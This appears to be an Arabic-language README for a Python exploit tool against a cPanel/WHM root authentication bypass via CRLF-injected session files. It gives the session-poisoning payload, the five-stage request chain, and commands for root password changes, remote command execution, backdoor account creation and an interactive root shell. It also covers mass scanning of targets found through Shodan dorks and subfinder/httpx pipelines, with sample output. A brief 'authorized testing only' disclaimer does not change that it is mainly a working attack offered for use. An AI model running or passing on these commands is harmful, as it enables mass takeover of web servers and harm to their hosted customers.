
ماسح ضوئي آلي وأداة ما بعد الاستغلال لـ CVE-2026-41940 — تجاوز مصادقة root في cPanel و WHM عبر حقن CRLF في ملف الجلسة
English | فارسی (Persian)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
أداة مسح آلي ومجموعة أدوات ما بعد الاستغلال لثغرة CVE-2026-41940 — تجاوز المصادقة لجذر WHM و cPanel عن طريق حقن CRLF في ملف الجلسة.
CPANEL CVE EXPLOIT هي أداة بلغة Python في ملف واحد مصممة لـ تقييمات أمنية مصرح بها لخوادم cPanel و WHM المعرضة لثغرة CVE-2026-41940.
تسمح الثغرة لمهاجم عن بعد غير مصادق بتسميم ملفات جلسة WHM عن طريق حقن CRLF في رأس Authorization: Basic، مما يتجاوز المصادقة ويمنح وصولاً لجذر WHM بدون بيانات اعتماد صالحة.
في الإصدارات المعرضة من cPanel و WHM، تستدعي saveSession() في Session.pm دالة filter_sessiondata() بعد كتابة ملف الجلسة على القرص. يمكن للمهاجم حقن حروف CRLF (\r\n) عبر رأس HTTP Authorization: Basic، والتي تُكتب مباشرةً في ملف الجلسة على القرص — متجاوزةً التعقيم.
تستخدم الأداة حمولة مشفرة بـ Base64 تُفك إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تحاكي هذه الحقول جلسة WHM موثقة بالكامل لجذر، بما في ذلك تجاوز المصادقة الثنائية (tfa_verified=1) وعلم صلاحية الجذر (hasroot=1).
قامت cPanel بنقل filter_sessiondata() لتنفيذ قبل عملية كتابة الجلسة في Session.pm.
تتكون سلسلة الاستغلال من 5 مراحل (المرحلة 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]ملاحظة: يتم وضع علامة تلقائياً على الأهداف التي تعمل بإصدارات مُصلحة وتجاوزها أثناء المسح.
| الحزمة | الغرض |
|---|---|
selenium | تسجيل دخول المتصفح التلقائي (--selenium) |
| Chrome / Firefox | محرك المتصفح لـ Selenium |
pip install -r requirements.txt # اختياري — selenium فقط
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
لا توجد خطوة بناء مطلوبة. يُشغّل مباشرة:
python3 test-cve.py --help
# مسح هدف WHM واحد
python3 test-cve.py -u https://target.com:2087
# مسح مع ما بعد الاستغلال: سرد جميع حسابات cPanel
python3 test-cve.py -u https://target.com:2087 --action list
# مسح جماعي من ملف، 20 خيط، حفظ تقرير JSON
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| العَلَم | الوصف |
|---|---|
-u, --url |
| العَلَم | الوصف |
|---|---|
-o, --output | حفظ النتائج في ملف JSON |
--no-color | تعطيل إخراج الألوان ANSI |
تعمل أعلام ما بعد الاستغلال على الأهداف الفردية فقط (
-u، وليس المسح الجماعي).
# تغيير كلمة مرور الجذر بعد التجاوز
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# تنفيذ أمر عن بُعد
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# إنشاء حساب cPanel خلفي
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# فتح قشرة WHM تفاعلية
python3 test-cve.py -u https://target.com:2087 --action shell
# تسجيل دخول تلقائي عبر Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# تسجيل دخول المتصفح اليدوي (يطبع JS لوحدة تحكم DevTools)
python3 test-cve.py -u https://target.com:2087 --browser
شغّل باستخدام --action shell لجلسة تفاعلية كاملة:
[email protected] ▶ help
id / whoami / hostname / version → معلومات الخادم
ls [path] → سرد الملفات
cat [path] → قراءة محتوى الملف
accounts → سرد حسابات cPanel
addadmin <user> <pass> → إنشاء مسؤول/مُوزع WHM
passwd <newpass> → تغيير كلمة مرور الجذر
exec <command> → تشغيل أمر نظام
exit / quit → الخروج من القشرة
مثال:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# خط أنابيب subfinder + httpx
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# خط أنابيب Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| الصيغة | مثال |
|---|---|
| رابط كامل | https://192.168.1.1:2087 |
| IP + منفذ | 192.168.1.1 2087 |
| إخراج Shodan | يُحلل تلقائياً عبر regex |
| إخراج ملون ANSI | يُزال تلقائياً |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
تُحفظ النتائج كـ JSON عند استخدام -o results.json:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 Scan Complete
Time: 12.4s · Targets: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 VULNERABLE TARGET(S)
Target : https://victim1.com:2087
Version : 11.126.0.50
Token : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
Evidence : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : scan only
12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [ OK] Stage1: preauth session = root:abc123...
12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND] Token : /cpsess1234567890
12:00:05 [PWND] Session : root:abc123...
12:00:05 [PWND] Version : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # أداة المسح والاستغلال الرئيسية (ملف واحد)
├── requirements.txt # اختياري: selenium
├── README.md # توثيق باللغة الإنجليزية
└── README.fa.md # توثيق باللغة الفارسية (فارسی)
لأغراض الاختبارات الأمنية المصرح بها فقط
هذه الأداة مقدمة لأغراض تعليمية واختبارات الاختراق المصرح بها فقط.
باستخدامك لهذه الأداة، فإنك توافق على استخدامها بمسؤولية ووفقاً لجميع القوانين المعمول بها.
2087 (HTTPS)صُممت لباحثي الأمن · استخدم بمسؤولية
| الخاصية | القيمة |
|---|
| CVE | CVE-2026-41940 |
| الخطورة | حرجة |
| CVSS | 10.0 |
| ناقل الهجوم | شبكة / غير مصادق |
| التأثير | وصول كامل لجذر WHM |
| المنفذ الافتراضي | 2087 (WHM) |
| الحالة | تم تأكيد الاستغلال في البرية (أبريل 2026) |
| المرحلة | نقطة النهاية | الغرض |
|---|
| 0 | /openid_connect/cpanelid | اكتشاف اسم المضيف القياسي تلقائياً عبر إعادة التوجيه 307 |
| 1 | /login/?login_only=1 | الحصول على كوكي whostmgrsession مسبق المصادقة ببيانات اعتماد خاطئة |
| 2 | / | حقن رأس Authorization: Basic المسموم بـ CRLF في ملف الجلسة |
| 3 | /scripts2/listaccts | تشغيل أداة do_token_denied لتفريغ الجلسة في ذاكرة التخزين المؤقت |
| 4 | /{token}/json-api/version | تأكيد وصول الجذر — HTTP 200 مع JSON للإصدار |
| الميزة | الوصف |
|---|
| مسح هدف واحد | سلسلة استغلال كاملة ضد رابط WHM واحد |
| المسح الجماعي | مسح متعدد الخيوط من ملف أو الإدخال القياسي |
| كشف الإصدار | مقارنة إصدارات تم إصلاحها/معرضة تلقائياً |
| API ما بعد الاستغلال | تغيير كلمة المرور، تنفيذ الأوامر، سرد الحسابات، إنشاء مستخدمين |
| قشرة تفاعلية | قشرة WHM جذر مدمجة مع قراءة ملفات وأوامر API |
| تسجيل الدخول عبر Selenium | حقن كوكي الجلسة تلقائياً في Chrome/Firefox |
| بديل المتصفح اليدوي | مقتطفات JavaScript لوحدة التحكم لتسجيل الدخول اليدوي إلى WHM |
| فحص RCE | تحقق سريع id / uname -a بعد التجاوز |
| تصدير JSON | حفظ جميع النتائج في تقرير JSON منظم |
| جاهز لخطوط الأنابيب | يعمل مع httpx و subfinder و shodan و awk |
| مكتبة قياسية فقط | لا تبعيات pip مطلوبة للوظائف الأساسية |
| إخراج ملون | تسجيل المراحل في الوقت الفعلي مع مؤشرات الخطورة |
| الفرع | الإصدار المُصلح | الحالة |
|---|
| 11.110.x | 11.110.0.97 | معرض أسفل الإصلاح |
| 11.118.x | 11.118.0.63 | معرض أسفل الإصلاح |
| 11.126.x | 11.126.0.54 | معرض أسفل الإصلاح |
| 11.132.x | 11.132.0.29 | معرض أسفل الإصلاح |
| 11.134.x | 11.134.0.20 | معرض أسفل الإصلاح |
| 11.136.x | 11.136.0.5 | معرض أسفل الإصلاح |
رابط هدف واحد (مثل https://host:2087) |
-l, --list | ملف يحتوي على روابط، رابط في كل سطر |
--hostname | تجاوز رأس المضيف القياسي (يُكتشف تلقائياً بشكل افتراضي) |
| العَلَم | الافتراضي | الوصف |
|---|
-t, --threads | 10 | عدد خيوط المسح المتزامنة |
--timeout | 15 | مهلة HTTP بالثواني |
--rate-limit | 0 | تأخير (بالثواني) بين إرسال الأهداف |
| الإجراء | العَلَم | الوصف |
|---|
| مسح فقط | (افتراضي) | تشغيل سلسلة الاستغلال والإبلاغ عن الثغرة |
| سرد الحسابات | --action list | سرد جميع حسابات cPanel عبر WHM API |
| تغيير كلمة المرور | --action passwd --passwd <pass> | تغيير كلمة مرور جذر WHM |
| تنفيذ أمر | --action cmd --cmd "id;whoami" | تشغيل أمر نظام عبر WHM exec API |
| معلومات الخادم | --action info | جمع اسم المضيف، الحمل، القرص، الإصدار |
| الحصول على الإصدار | --action version | جلب إصدار cPanel/WHM عبر API |
| إنشاء حساب | --action adduser --new-user u --new-domain d.com --passwd p | إنشاء حساب cPanel جديد |
| قشرة تفاعلية | --action shell | تشغيل قشرة WHM جذر تفاعلية |
| فحص RCE | --check-rce | تشغيل id;uname -a بعد التجاوز الناجح |
| تسجيل الدخول عبر Selenium | --selenium [--engine chrome|firefox] | تسجيل دخول تلقائي إلى لوحة تحكم WHM في المتصفح |
| المتصفح اليدوي | --browser | طباعة أوامر وحدة التحكم JavaScript لتسجيل الدخول اليدوي |